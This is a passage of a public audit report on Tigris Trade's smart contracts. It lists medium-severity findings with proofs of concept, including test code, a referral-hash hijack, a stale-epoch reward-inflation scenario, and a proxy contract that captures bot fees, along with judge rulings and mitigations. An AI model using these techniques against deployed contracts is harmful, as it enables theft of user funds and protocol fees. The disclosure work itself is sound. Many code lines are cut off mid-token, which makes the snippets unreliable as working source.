The current implementation forces a user to extend their bonds for at least they current bond period. This means that, for instance, a bond which was initially locked for 365 can never be extended, even after a week of being created.

If we consider that a bond should have at least a 7 days lock and at the most 365 days, then the current `BondNFT.extendLock` function should be refactored.

Impact

- Current `BondNFT.extendLock` function does not work as expected, forcing user who wants to extend their bond to extend them at least for their current bond.period.
- For bonds which were set with a lock period of 365 days, they can not be extended, even after days of their creation.

Proof of Concept

```
// In 09.Bond.js,  describe "Extending lock"
it("POC: Extending the lock does not work as expected", async fu
      await stabletoken.connect(owner).mintFor(user.address, eth
      // user lock bond funds for 10 days
      await lock.connect(user).lock(StableToken.address, ethers.

      const fiveDaysTime = 5 * 24 * 60 * 60
```

```
        const eightDaysTime = 8 * 24 * 60 * 60

        // owner distribute rewards
        console.log("User created a lock for 10 days")
        await stabletoken.connect(owner).mintFor(owner.address, et
        await bond.connect(owner).distribute(stabletoken.address,

        // Five days pass
        await network.provider.send("evm_increaseTime", [fiveDaysT
        await network.provider.send("evm_mine");
        console.log("\n5 days pass")

        // User decide to extend their lock three days, given the
        const bondInfoBeforeExtension = await bond.idToBond(1)
        console.log(`Bond info before extension: {period: ${bondIn

        await lock.connect(user).extendLock(1, 0, 3)
        console.log("Bond was extended for 3 days")
        const bondInfoAfterExtension = await bond.idToBond(1)
        console.log(`Bond info after extension: {period: ${bondInf

        // 8 days pass, user should be able to release the bond gi
        await network.provider.send("evm_increaseTime", [eightDays'
        await network.provider.send("evm_mine");
        console.log("\n8 days later")
        console.log("After 13 days (10 original days + 3 days from

        // The user decide to claim their part and get their bond
        // The user should recieve all the current funds in the co
        await expect(lock.connect(user).release(1)).to.be.reverted

    });
```

Recommended Mitigation Steps

In order to `extendLock` to work properly, the current implementation should be changed to:

```
function extendLock(
    uint _id,
    address _asset,
    uint _amount,
    uint _period,
    address _sender
```

```
) external onlyManager() {
    Bond memory bond = idToBond(_id);
    Bond storage _bond = _idToBond[_id];
    require(bond.owner == _sender, "!owner");
    require(!bond.expired, "Expired");
    require(bond.asset == _asset, "!BondAsset");
    require(bond.pending == 0); //Cannot extend a lock with pend
+   uint currentEpoch = block.timestamp/DAY;
-   require(epoch[bond.asset] == block.timestamp/DAY, "Bad epoch
    require(epoch[bond.asset] == currentEpoch, "Bad epoch");

+   uint pendingEpochs = bond.expireEpoch - currentEpoch;
+   uint newBondPeriod = pendingEpochs + _period;
+   //In order to respect min bond period when we extend a bon
+   // Next line can be omitted at discretion of the protocol an
+   // If it is omitted any created bond would be able to be ext
+   require(newBondPeriod >= 7, "MIN PERIOD");

-    require(bond.period+_period <= 365, "MAX PERIOD");
+    require(newBondPeriod <= 365, "MAX PERIOD");

    unchecked {
-       uint shares = (bond.amount + _amount) * (bond.period + _
+       uint shares = (bond.amount + _amount) * newBondPeriod /

-       uint expireEpoch = block.timestamp/DAY + bond.period + _
+       uint expireEpoch = currentEpoch + newBondPeriod;

        totalShares[bond.asset] += shares-bond.shares;
        _bond.shares = shares;
        _bond.amount += _amount;
        _bond.expireEpoch = expireEpoch;
        _bond.period += _period;
        _bond.mintTime = block.timestamp;
-       _bond.mintEpoch = epoch[bond.asset];
+       _bond.mintEpoch = currentEpoch;
-       bondPaid[_id][bond.asset] = accRewardsPerShare[bond.asse
+       bondPaid[_id][bond.asset] = accRewardsPerShare[bond.asse
    }
    emit ExtendLock(_period, _amount, _sender,  _id);
}
```

Alex the Entreprenerd (judge) commented:

> The warden has shown that the mechanic for extending locks can cause lock duration to be longer than intended, while rewards math will behave as inputted by the user.

> While an argument for this being a user mistake could be made, I believe that in this case the demonstrated logic flaw takes precedence, that's because a user interacting with the system as intended will still be locked for longer than intended and receive less rewards for that mistake.

> For this reason (conditionality, logic flaw, no loss of principal) I believe Medium Severity to be appropriate.

GainsGoblin (Tigris Trade) confirmed and commented:

> Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419175579

[M-11] `_handleOpenFees` returns an incorrect value for `_feePaid`. This directly impacts margin calculations

Submitted by **0Kage**, *also found by* **chaduke**

https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/Trading.sol#L178

https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/Trading.sol#L734

Impact

Formula for `fee paid` in **Line 734** is incorrect leading to incorrect margin calculations. Since this directly impacts the trader margin and associated fee calculations, I've marked as HIGH risk.

On initiating a market order, `Margin` is adjusted for the `fees` that is charged by protocol. This adjustment is in **Line 178 of Trading**. Fees computed by

`_handleOpenFees` is deducted from Initial margin posted by user.

Formula misses to account for the `2*referralFee` component while calculaing `_feePaid`.

Proof of Concept

Note that `_feePaid` as per formula in Line 734 is the sum of `_daoFeesPaid`, and sum of `burnerFee` & `botFee` . `\_daoFeesPaid` is calculated from `\_fees.daoFees` which itself is calculated by subtracting `2\*referralFee` and `botFee\`.

So when we add back `burnerFee` and `botFee` to `_feePaid`, we are missing to add back the `2*referralFee` which was earlier excluded when calculating `_daoFeesPaid`. While `botFee` is added back correctly, same adjustment is not being done viz-a-viz referral fee.

This results in under calculating the `_feePaid` and impacts the rewards paid to the protocol NFT holders.

Recommended Mitigation Steps

Suggest replacing the formula in line 734 with below (adding back `\_fees.referralFees\*2`)

```
_feePaid =
    _positionSize
    * (_fees.burnFees + _fees.botFees + _fees.referra
    / DIVISION_CONSTANT // divide by 100%
    + _daoFeesPaid;
```

Alex the Entreprenerd (judge) decreased severity to Medium and commented:

> The warden has shown a mistake in how fees are calculated, the impact will cause a loss of yield to the protocol, however no convincing argument was made as to how this can cause a loss to depositors or users (loss of principal), for this reason, I believe Medium Severity to be the most appropriate.

GainsGoblin (Tigris Trade) confirmed and commented:

> Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419176602

[M-12] Centralization risks: owner can freeze withdraws and use timelock to steal all funds

Submitted by 0xA5DF, *also found by* 0xSmartContract, francoHacker, rbserver, kwhuo68, yjrwkk, 0xNazgul, peanuts, wait, ladboy233, hansfriese, philogy, Mukund, 0xA5DF, __141345__, carlitox477, Madalad, jadezti, cccz, SmartSek, chaduke, hihen, gz627, 0xbepresent, Ruhum, 8olidity, Faith, imare, HE1M, 0xdeadbeef0x, aviggiano, JohnnyTime, orion, Englave, *and* gzeon

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Trading.sol#L222-L230

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/StableVault.sol#L78-L83

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/StableToken.sol#L38-L46

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/PairsContract.sol#L48

The project heavily relies on nodes/oracles, which are EOAs that sign the current price.

Since all functions (including withdrawing) require a recently-signed price, the owner(s) of those EOA can freeze all activity by not providing signed prices.

I got from the sponsor that the owner of the contract is going to be a timelock contract. However, once the owner holds the power to pause withdrawals - that

nullifies the timelock. The whole point of the timelock is to allow users to withdraw their funds when they see a pending malicious tx before it's executed. If the owner has the power to freeze users' funds in the contract, they wouldn't be able to do anything while the owner executes his malicious activity.

Besides that, there are also LP funds, which are locked to a certain period, and also can't withdraw their funds when they see a pending malicious timelock tx.

Impact

The owner (or attacker who steals the owner's wallet) can steal all user's funds.

Proof of Concept

- The fact that the protocol relies on EOA signatures is pretty clear from the code and docs
- The whole project relies on the 'StableVault' and 'StableToken'
    - The value of the 'StableToken' comes from the real stablecoin that's locked in 'StableVault', if someone manages to empty the 'StableVault' from the deposited stablecoins the 'StableToken' would become worthless
- The owner has a few ways to drain all funds:
    - Replace the minter via `StableToken.setMinter()`, mint more tokens, and redeem them via `StableVault.withdraw()`
    - List a fake token at `StableVault`, deposit it and withdraw real stablecoin
    - List a new fake asset for trading with a fake chainlink oracle, fake profit with trading with fake prices, and then withdraw
        - They can prevent other users from doing the same by setting `maxOi` and opening position in the same tx
    - Replace the MetaTx forwarder and execute tx on behalf of users (e.g. transferring bonds, positions and StableToken from their account)

Recommended Mitigation Steps

- Rely on a contract (chainlink/Uniswap) solely as an oracle

- Alternately, add functionality to withdraw funds at the last given price in case no signed data is given for a certain period
    - You can do it by creating a challenge in which a user requests to close his position at a recent price, if no bot executes it for a while it can be executed at the last recorded price.
- As for LPs' funds, I don't see an easy way around it (besides doing significant changes to the architecture of the protocol), this a risk LPs should be aware of and decide if they're willing to accept.

TriHaz (Tigris Trade) acknowledged, but disagreed with severity and commented:

> We are aware of the centralization risks. Owner of contracts will be a timelock and owner will be a multi sig to reduce the centralization for now until it's fully controlled by DAO.

Alex the Entreprenerd (judge) decreased severity to Medium and commented:

> Missing setFees, but am grouping generic reports under this one as well.

> Also missing changes to Trading Extension and Referral Fees.

> This report, in conjunction with #648 effectively covers all "basic" admin privilege findings. More nuanced issues are judged separately.

[M-13] One can become referral of hash 0x0 and because all users default referral hash is 0x0 so he would become all users referral by default and earn a lot of fees while users didn't approve it

Submitted by unforgiven

https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/Referrals.sol#L20-L24

https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/TradingExtension.sol#L148-L152

Impact

By default the value of `_referred[user]` is 0x0 for all users and if one set 0x0 as his referral hash then he would become referral for all the users who didn't set referral by default and he would earn a lot of referral funds that users didn't approve it.

Proof of Concept

This is `createReferralCode()` code:

```
function createReferralCode(bytes32 _hash) external {
    require(_referral[_hash] == address(0), "Referral code a
    _referral[_hash] = _msgSender();
    emit ReferralCreated(_msgSender(), _hash);
}
```

As you can see, attacker can become set 0x0 as his hash referral by calling `createReferralCode(0x0)` and code would set `_referral[0x0] = attackerAddress` (attacker needs to be the first one calling this).

Then in the `getRef()` code the logic would return `attackerAddress` as referral for all the users who didn't set referral.

```
function getRef(
    address _trader
) external view returns(address) {
    return referrals.getReferral(referrals.getReferred(_trad
}
```

In the code, getReferred(trader) would return 0x0 because trader didn't set referred and getReferral(0x0) would return attackerAddress.

`_handleOpenFees()` and `_handleCloseFees()` function in the Trading contract would use `getRef(trader)` and they would transfer referral fee to attackerAddress

and attacker would receive fee from a lot of users which didn't set any referral, those users didn't set any referral and didn't approve attacker receiving referral fees from them and because most of the users wouldn't know about this and referral codes so attacker would receive a lot of funds.

Tools Used

VIM

Recommended Mitigation Steps

Prevent someone from setting 0x0 hash for their referral code.

TriHaz (Tigris Trade) confirmed and commented:

> It is valid but I'm not 100% sure it should be a High risk. Would like an opinion from a judge.

Alex the Entreprenerd (judge) decreased severity to Medium and commented:

> The Warden has shown how, due to an incorrect assumption, the first claimer to the 0 hash will receive referral fees for all non-referred users.
>
> Because the finding creates a negative externality and shows a way to extract value from what would be assumed to be the null value, I believe the finding to be of Medium Severity.
>
> I'd recommend the Sponsor either mitigate or set themselves as the 0 hash recipient as a way to receive default fees.

GainsGoblin (Tigris Trade) resolved:

> Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419175772

[M-14] `BondNFT.sol#claim()` needs to correct all the missing epochs

Submitted by __141345__

https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/BondNFT.sol#L177-L183

https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/BondNFT.sol#L235-L242

Impact

In `BondNFT.sol#claim()`, `accRewardsPerShare[][]` is amended to reflect the expired shares. But only `accRewardsPerShare[bond.asset][epoch[bond.asset]]` is updated. All the epochs between `bond.expireEpoch-1` and `epoch[bond.asset]` are missed.

However, some users claimable rewards calculation could be based on the missed epochs. As a result, the impact might be:

- `accRewardsPerShare` is inaccurate for the epochs in between.
- Some users could lose reward due to wrong `accRewardsPerShare`, some users might receive undeserved rewards.
- Some rewards will be locked in the contract.

Proof of Concept

The rationale behind the unchecked block below seems to take into account the shares of reward of the expired bond. However, if you only update the latest epoch data, the epochs in between could have errors and lead to loss of other users.

```
File: contracts/BondNFT.sol
168:     function claim(
169:         uint _id,
170:         address _claimer
171:     ) public onlyManager() returns(uint amount, address tig

177:             if (bond.expired) {
178:                 uint _pendingDelta = (bond.shares * accRewa
```

```
179:                 if (totalShares[bond.asset] > 0) {
180:                     accRewardsPerShare[bond.asset][epoch[bo
181:                 }
182:             }
183:             bondPaid[_id][bond.asset] += amount;
```

Users can claim rewards up to the expiry time, based on `accRewardsPerShare[tigAsset][bond.expireEpoch-1]`:

```
235:     function idToBond(uint256 _id) public view returns (Bon

238:         bond.expired = bond.expireEpoch <= epoch[bond.asset
239:         unchecked {
240:             uint _accRewardsPerShare = accRewardsPerShare[b
241:             bond.pending = bond.shares * _accRewardsPerShar
```

TriHaz (Tigris Trade) acknowledged, but disagreed with severity and commented:

> Acknowledged, we cant redistribute past rewards accurately because it would cost too much gas.

> I would downgrade it to Medium risk, needs an opinion from judge.

Alex the Entreprenerd (judge) decreased severity to Medium and commented:

> The Warden has shown how, due to how epochs are handled, some rewards could be lost unless claimed each epoch.

> Because the finding pertains to a loss of Yield, I agree with Medium Severity.

GainsGoblin (Tigris Trade) commented:

> It is not feasible to update accRewardsPerShare for every epoch during which bond was expired. This issue is mitigated by the fact that anyone can release an expired bond, so the small difference in yield shouldn't affect users that much.

[M-15] `_checkDelay` will not work properly for Arbitrum or Optimism due to `block.number`

Submitted by 0x52

Trade delay will not work correctly on Arbitrum allowing users to exploit multiple valid prices.

Proof of Concept

```
    function _checkDelay(uint _id, bool _type) internal {
        unchecked {
            Delay memory _delay = blockDelayPassed[_id];
            //in those situations
            if (_delay.actionType == _type) {
                blockDelayPassed[_id].delay = block.number + blockDe
            } else {
                if (block.number < _delay.delay) revert("0"); //Wait
                blockDelayPassed[_id].delay = block.number + blockDe
                blockDelayPassed[_id].actionType = _type;
            }
        }
    }
```

`\_checkDelay` enforces a delay of a specific number of block between opening and closing a position. While this structure will work on mainnet, it is problematic for use on Arbitrum.

According to Arbitrum Docs `block.number` returns the most recently synced L1 block number. Once per minute the block number in the Sequencer is synced to the actual L1 block number. This period could be abused to completely bypass this protection.

The user would open their position 1 Arbitrum block before the sync happens, then close it the very next block. It would appear that there has been 5 blocks (60 / 12) since the last transaction but in reality it has only been 1 Arbitrum block. Given that Arbitrum has 2 seconds blocks it would be impossible to block this behavior through parameter changes.

It also presents an issue for Optimism because each transaction is it's own block. No matter what value is used for the block delay, the user can pad enough tiny transactions to allow them to close the trade immediately.

Recommended Mitigation Steps

The delay should be measured using `block.timestamp` rather than `block.number`.

TriHaz (Tigris Trade) disputed and commented:

> Once per minute the block number in the Sequencer is synced to the actual L1 block number.
>
> That is changed after Nitro upgrade.

Alex the Entreprenerd (judge) decreased severity to Medium and commented:

> @TriHaz I'd like to flag this issue with the following notes: block.number will return the latest synched block number from L1, this can be stale.
>
> Per the docs:
>
> ```
> As a general rule, any timing assumptions a contract makes about
> ```
>
> From a trusted Arbitrum Dev: `using block.number is generally fine if you want to measure time, since that will roughly follow L1 block time`
>
> So ultimately this is dependent on how big or small of a delay is required.
>
> For minutes to hours, there seems to be no risk, while for shorter timeframes, some risk is possible.
>
> In terms of impact, the main impact would be that an operation that would be expected to be executed 12 seconds later, could actually be executed as rapidly as 1 or 2 seconds after (if we assume that one L2 block goes from number A to B).
>
> I don't think the finding can be categorized High Severity due to the reliance on settings and intentions, but at this point I believe the finding is valid and am thinking

> it should be of Medium Severity as it may break expectations (e.g. being able to use the same oracle price in 2 separate blocks due to unexpectedly small timestamp differences), but this is reliant on an external condition.

Alex the Entreprenerd (judge) commented:

> I have also recently checked Optimism Docs, in anticipation of the Bedrock upgrade.
>
> Very notable warning
>
> ### Block Production
>
> **Block Time Subject to Change**
>
> Do not make assumptions around the block time. It may be changed in the future.
>
> Source: https://community.optimism.io/docs/developers/bedrock/how-is-bedrock-different/
>
> Leading me to further agree with the risk involved with the finding, at this time I believe `block.timestamp` to be a better tool for all L2 integrations.

GainsGoblin (Tigris Trade) confirmed and resolved:

> Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419176100

[M-16] `distribute()` won't update `epoch[tigAsset]` when `totalShares[tigAsset]==0` which can cause later created bond for this tigAsset to have wrong mint epoch

Submitted by unforgiven

https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/BondNFT.sol#L206-L228

https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/BondNFT.sol#L48-L86

Impact

Function `BondNFT.createLock()` creates a bond and it sets bond's mint epoch as `epoch[asset]`. Function `Lock.lock()` first calls `claimGovFees()` which calls `BondNFT.distribute()` for all assets and updates the `epoch[assets]` for all assets. So during normal bond creation, the value of `epoch[asset]` would be updated and bond would be created from `today` epoch to `today+period` epoch. But if `totalShares[tigAsset] == 0` for an asset, then `distribute()` won't update `epoch[asset]` for that asset and `epoch[asset]` will be some old epoch(will be the start time where asset is added or the time where `totalShares[_tigAsset] != 0`). This would make `createLock()` set very wrong values for bond's mint epoch when `totalShares[tigAsset] == 0`.

This would happen for the first bond that has been created for that asset always and it will happen again if for some period `totalShares[asset]` become 0, then the next bond would have wrong mint epoch. or `setAllowedAsset(asset, false)` has been called for that asset.

Proof of Concept

This is `distribute()` code in BondNFT contract:

```
    function distribute(
            address _tigAsset,
            uint _amount
        ) external {
            if (totalShares[_tigAsset] == 0 || !allowedAsset[_tigAss
            IERC20(_tigAsset).transferFrom(_msgSender(), address(thi
            unchecked {
                uint aEpoch = block.timestamp / DAY;
                if (aEpoch > epoch[_tigAsset]) {
                    for (uint i=epoch[_tigAsset]; i<aEpoch; i++) {
                        epoch[_tigAsset] += 1;
                        accRewardsPerShare[_tigAsset][i+1] = accRewa
                    }
                }
```

```
            accRewardsPerShare[_tigAsset][aEpoch] += _amount * 1
        }
        emit Distribution(_tigAsset, _amount);
    }
```

As you can see when `totalShares[_tigAsset] == 0`, then the value of `epoch[_tigAsset]` won't get updated to today. And there is no other logic in the code to update `epoch[tigAsset]`. So when `totalShares[_tigAsset] == 0`, then the value of the `epoch[tigAsset]` would be outdated. this would happen when an asset is recently added to the BondNFT assets or when there is no bond left.

When this condition happens and a user calls `Lock.lock()` to create a bond, the `lock()` function would call `claimGovFees()` to update rewards in BondNFT but because for that asset the value of totalShares are 0, that asset `epoch[]` won't get updated and in the `BondNFT.createLock()`, the wrong value would set as bond's mint epoch.

This is `Lock.lock()` code:

```
    function lock(
        address _asset,
        uint _amount,
        uint _period
    ) public {
        require(_period <= maxPeriod, "MAX PERIOD");
        require(_period >= minPeriod, "MIN PERIOD");
        require(allowedAssets[_asset], "!asset");

        claimGovFees();

        IERC20(_asset).transferFrom(msg.sender, address(this), _
        totalLocked[_asset] += _amount;

        bondNFT.createLock( _asset, _amount, _period, msg.sender
    }
```

And this is `BondNFT.createLock()` code:

```
    function createLock(
```

```
        address _asset,
        uint _amount,
        uint _period,
        address _owner
    ) external onlyManager() returns(uint id) {
        require(allowedAsset[_asset], "!Asset");
        unchecked {
            uint shares = _amount * _period / 365;
            uint expireEpoch = epoch[_asset] + _period;
            id = ++totalBonds;
            totalShares[_asset] += shares;
            Bond memory _bond = Bond(
                id,              // id
                address(0),      // owner
                _asset,          // tigAsset token
                _amount,         // tigAsset amount
                epoch[_asset],   // mint epoch
                block.timestamp,// mint timestamp
                expireEpoch,     // expire epoch
                0,               // pending
                shares,          // linearly scaling share of rew
                _period,         // lock period
                false            // is expired boolean
            );
            _idToBond[id] = _bond;
            _mint(_owner, _bond);
        }
        emit Lock(_asset, _amount, _period, _owner, id);
    }
```

If a bond gets wrong value for mint epoch, it would have wrong value for expired epoch and user would get a lot of shares by lock for small time.

For example this scenario:

1. Let's assume `epoch[asset1]` is outdated and it shows 30 days ago epoch. (`allowedAsset[asset1]` was false so locking was not possible and then is set as true after 30 days)
2. During this time, because `totalShare[asset1]` was 0, the `distribute()` function won't update `epoch[asset1]` and `epoch[asset1]` would show 30 days ago.

3. Attacker would create a lock for 32 days by calling `Lock.lock(asset1)`. Code would call `BondNFT.createLock()` and would create a bond for attacker which epoch start time is 30 days ago and epoch expire time is 2 days later and attacker receives shares for 32 days.
4. Some reward would get distributed into the BondNFT for the `asset1`.
5. Other users would create lock too.
6. Attacker would claim his rewards and his rewards would be for 32 day locking but attacker lock his tokens for 2 days in reality.

So attacker was able to create lock for a long time and get shares and rewards based on that, but attacker can release lock after short time.

Tools Used

VIM

Recommended Mitigation Steps

Update `epoch[asset]` in `distribute()` function even when `totalShares[_tigAsset]` is equal to 0. Only the division by zero and fund transfer should be prevented when totalShare is zero and `epoch[asset]` index should be updated.

TriHaz (Tigris Trade) confirmed

Alex the Entreprenerd (judge) commented:

> The Warden has shown a set of circumstances that would allow a locker to lock their tokens for a relatively short period of time, while gaining extra rewards for up to one Epoch.

> Because the finding is limited to a theft of yield, I believe it to be of Medium Severity.

GainsGoblin (Tigris Trade) resolved:

> Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419176233

[M-17] User can close an order via `limitClose()`, and take bot fees to themselves

Submitted by [0xA5DF]

Bot fees are used when a position is opened/closed via a bot. In that case a bot fee is subtracted from the DAO fee and sent to the closing bot. A user can use that to reduce the DAO fees for closing an order and keeping it to themselves.

Instead of closing the order via `initiateClose()`, the user can use a proxy contract to update the stop-loss value and then `limitClose()` the order. Since that is done in one function call, no bot can run the `limitClose()` and the bot fee will go to the user.

Proof of Concept

The following PoC shows how a trade is closed by a proxy contract that sets the limit and closes it via `limitClose()`:

```
diff --git a/test/07.Trading.js b/test/07.Trading.js
index ebe9948..e50b0cc 100644
--- a/test/07.Trading.js
+++ b/test/07.Trading.js
@@ -17,6 +17,7 @@ describe("Trading", function () {

    let TradingExtension;
    let tradingExtension;
+   let myTrader;

    let TradingLibrary;
    let tradinglibrary;
@@ -37,7 +38,7 @@ describe("Trading", function () {

    let MockDAI;
    let MockUSDC;
-   let mockusdc;
+   let mockusdc, mockdai;

    let badstablevault;

@@ -55,6 +56,7 @@ describe("Trading", function () {
```

```
     const Position = await deployments.get("Position");
     position = await ethers.getContractAt("Position", Position.a
     MockDAI = await deployments.get("MockDAI");
+    mockdai = await ethers.getContractAt("MockERC20", MockDAI.ac
     MockUSDC = await deployments.get("MockUSDC");
     mockusdc = await ethers.getContractAt("MockERC20", MockUSDC
     const PairsContract = await deployments.get("PairsContract"
@@ -84,6 +86,10 @@ describe("Trading", function () {
     TradingLibrary = await deployments.get("TradingLibrary");
     tradinglibrary = await ethers.getContractAt("TradingLibrary
     await trading.connect(owner).setLimitOrderPriceRange(1e10);
+
+
+    let mtFactory = await ethers.getContractFactory("MyTrader")
+    myTrader = await mtFactory.deploy(Trading.address, Position
   });
   describe("Check onlyOwner and onlyProtocol", function () {
     it("Set max win percent", async function () {
@@ -536,6 +542,31 @@ describe("Trading", function () {
       expect(await position.assetOpenPositionsLength(0)).to.equa
       expect(await stabletoken.balanceOf(owner.address)).to.equa
     });
+
+    it("Test my trader", async function () {
+      let TradeInfo = [parseEther("1000"), MockDAI.address, Stab
+      let PriceData = [node.address, 0, parseEther("20000"), 0,
+      let message = ethers.utils.keccak256(
+        ethers.utils.defaultAbiCoder.encode(
+          ['address', 'uint256', 'uint256', 'uint256', 'uint256
+          [node.address, 0, parseEther("20000"), 0, 2000000000,
+        )
+      );
+      let sig = await node.signMessage(
+        Buffer.from(message.substring(2), 'hex')
+      );
+
+      let PermitData = [permitSig.deadline, ethers.constants.Ma
+      await trading.connect(owner).initiateMarketOrder(TradeInfo
+
+
+      await trading.connect(owner).approveProxy(myTrader.addres
+      await myTrader.connect(owner).closeTrade(1, PriceData, si
+
+
+    });
+  return;
```

```
+
     it("Closing over 100% should revert", async function () {
       let TradeInfo = [parseEther("1000"), MockDAI.address, Sta
       let PriceData = [node.address, 0, parseEther("20000"), 0,
@@ -551,8 +582,10 @@ describe("Trading", function () {

       let PermitData = [permitSig.deadline, ethers.constants.Ma
       await trading.connect(owner).initiateMarketOrder(TradeInf
+
       await expect(trading.connect(owner).initiateCloseOrder(1,
     });
+    return;
     it("Closing 0% should revert", async function () {
       let TradeInfo = [parseEther("1000"), MockDAI.address, Sta
       let PriceData = [node.address, 0, parseEther("20000"), 0,
@@ -700,6 +733,7 @@ describe("Trading", function () {
       expect(margin).to.equal(parseEther("500"));
     });
   });
+  return;
   describe("Trading using <18 decimal token", async function ()
     it("Opening and closing a position with tigUSD output", asy
       await pairscontract.connect(owner).setAssetBaseFundingRat
```

MyTrader.sol:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {ITrading} from "../interfaces/ITrading.sol";
import "../utils/TradingLibrary.sol";
import "../interfaces/IPosition.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/extensi



contract MyTrader{

    ITrading trading;
    IPosition position;

    receive() payable external{
```

```
    }

    constructor(address _trading, address _position){
        trading = ITrading(_trading);
        position = IPosition(_position);
    }

    function closeTrade(
        uint _id,
        PriceData calldata _priceData,
        bytes calldata _signature
    ) public{
        bool _tp = false;

        trading.updateTpSl(_tp, _id, _priceData.price, _priceDat
        trading.limitClose(_id, _tp, _priceData, _signature);


    }

}
```

Recommended Mitigation Steps

Don't allow updating sl or tp and executing `limitClose()` at the same block.

TriHaz (Tigris Trade) confirmed and commented:

> Valid and will be confirmed, but not sure about the severity, as the protocol will not lose anything because fees would be paid to another bot anyway. Would like an opinion from a judge.

Alex the Entreprenerd (judge) decreased severity to QA and commented:

> With the information that I have:
>
> - System invariants are not broken
> - No loss of value
>
> Ordinary operation, which for convenience can be performed by a bot, is being operated by someone else.

> Because all security invariants are still holding, but the behaviour may be a gotcha, I believe QA Low to be the most appropriate severity in lack of a value leak.

> *(Note: See* original submission *for judge's full commentary.)*

Alex the Entreprenerd (judge) increased severity to Medium and commented:

> Per the discussion above, the Warden has shown how, any user can setup a contract to avoid paying botFees, because these are subtracted to DaoFees, these are not just a loss of yield to the DAO, but they are a discount to users, which in my opinion breaks the logic for fees.

> Because the finding pertains to a loss of Yield, I raised the report back to Medium Severity.

> I'd like to thank @0xA5DF for the clarifications done in post-judging triage.

GainsGoblin (Tigris Trade) resolved:

> Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419176433

> 'Don't allow updating sl or tp and executing limitClose() at the same block'

> The recommended mitigation wouldn't work, because this would result in a separate high-severity risk. We decided on tracking the timestamp of the last limit order update, and if the order gets executed before a second has passed then the bot doesn't earn bot fees. This gives every bot a fair chance at being rewarded without incentivizing the trader to execute their own order.

[M-18] StopLoss/TakeProfit should be validated again for the new price in `Trading.executeLimitOrder()`

Submitted by hansfriese*, also found by* bin2chen

The open price of a stop order might be changed during execution but it doesn't validate StopLoss/TakeProfit for the changed price.

As a result, the executed market order might be closed immediately and there would be an unexpected loss for users.

Proof of Concept

As we can see from `executeLimitOrder()`, the open price might be changed to the current price for the stop order.

```
File: 2022-12-tigris\contracts\Trading.sol
480:     function executeLimitOrder(
481:         uint _id,
482:         PriceData calldata _priceData,
483:         bytes calldata _signature
484:     )
485:         external
486:     {
487:         unchecked {
488:             _checkDelay(_id, true);
489:             tradingExtension._checkGas();
490:             if (tradingExtension.paused()) revert TradingPa
491:             require(block.timestamp >= limitDelay[_id]);
492:             IPosition.Trade memory trade = position.trades(
493:             uint _fee = _handleOpenFees(trade.asset, trade.
494:             (uint256 _price, uint256 _spread) = tradingExte
495:             if (trade.orderType == 0) revert("5");
496:             if (_price > trade.price+trade.price*limitOrder
497:             if (trade.direction && trade.orderType == 1) {
498:                 if (trade.price < _price) revert("6"); //Li
499:             } else if (!trade.direction && trade.orderType
500:                 if (trade.price > _price) revert("6"); //Li
501:             } else if (!trade.direction && trade.orderType
502:                 if (trade.price < _price) revert("6"); //Li
503:                 trade.price = _price;
504:             } else {
505:                 if (trade.price > _price) revert("6"); //Li
506:                 trade.price = _price; //@audit check sl/tp
507:             }
508:             if(trade.direction) {
509:                 trade.price += trade.price * _spread / DIVI
510:             } else {
511:                 trade.price -= trade.price * _spread / DIVI
512:             }
```

But it doesn't validate sl/tp again for the new price so the order might have an invalid sl/tp.

The new price wouldn't satisfy the sl/tp requirements when the price was changed much from the original price due to the high slippage and the order might be closed immediately by sl or tp in this case.

Originally, the protocol validates stoploss only but I say to validate both of stoploss and takeprofit. (I submitted it as another issue to validate tp as well as sl).

Recommended Mitigation Steps

Recommend validating sl/tp for the new `trade.price` in `Trading.executeLimitOrder()`.

TriHaz (Tigris Trade) disputed and commented:

> The open price of a stop order might be changed during execution

> Limit orders open price is guaranteed, so it will not be changed, so validating sl/tp again is not needed.

Alex the Entreprenerd (judge) commented:

> @TriHaz can you please check the following line

```
504:             } else {
505:                 if (trade.price > _price) revert("6"); //Li
506:                 trade.price = _price; //@audit check sl/tp
507:             }
```

> and re-affirm your dispute?

> Ultimately it looks like trade.price is changed to the new price from the feed, which is a "correct" price, but may not be a price the caller was originally willing to act on (not in range with SL / TP).

TriHaz (Tigris Trade) confirmed and commented:

> Yes my review was not correct, the price for the stop orders are not guaranteed which makes this issue valid.

Alex the Entreprenerd (judge) commented:

> The warden has shown how, due to a lack of check, limit orders that pass the logic check may be executed even though the validation for their Stop Loss / Take Profit may not be hit
>
> Given the level of detail I believe the finding to be of Medium Severity.

GainsGoblin (Tigris Trade) resolved:

> Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419177423
>
> Since this issue only affects TP and not SL, I only added a check for that.

